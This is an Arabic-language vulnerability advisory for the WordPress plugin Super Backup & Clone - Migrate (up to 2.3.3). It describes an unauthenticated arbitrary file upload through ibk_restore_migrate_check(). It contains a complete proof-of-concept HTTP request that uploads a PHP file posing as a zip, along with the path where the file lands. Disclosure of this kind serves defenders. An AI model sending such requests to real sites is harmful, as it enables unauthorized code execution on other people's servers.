
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - رفع ملف تعسفي بدون مصادقة
Super Backup & Clone - Migrate for WordPress <= 2.3.3 - رفع ملفات تعسفي دون مصادقة
إضافة Super Backup & Clone - Migrate for WordPress لووردبريس (WordPress) معرضة لرفع ملفات تعسفي بسبب غياب التحقق من نوع الملف وغياب فحص الصلاحيات في الدالة ibk_restore_migrate_check() في جميع الإصدارات حتى الإصدار 2.3.3 ضمناً. وهذا يتيح للمهاجمين غير المصادق عليهم رفع ملفات تعسفية على خادم الموقع المتأثر، مما قد يجعل تنفيذ التعليمات البرمجية عن بُعد ممكنًا.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------12986918151631900204175958232
Content-Length: 793
Origin: https://wp-dev.ddev.site
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="ibk_restore_migrate_action"
1
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_type"
restore_file
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="restore_url"
-----------------------------12986918151631900204175958232
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: application/zip
<?php phpinfo(); ?>
-----------------------------12986918151631900204175958232--
يتم رفع الملف إلى https://wp-dev.ddev.site/wp-content/uploads/isnapshots/info.php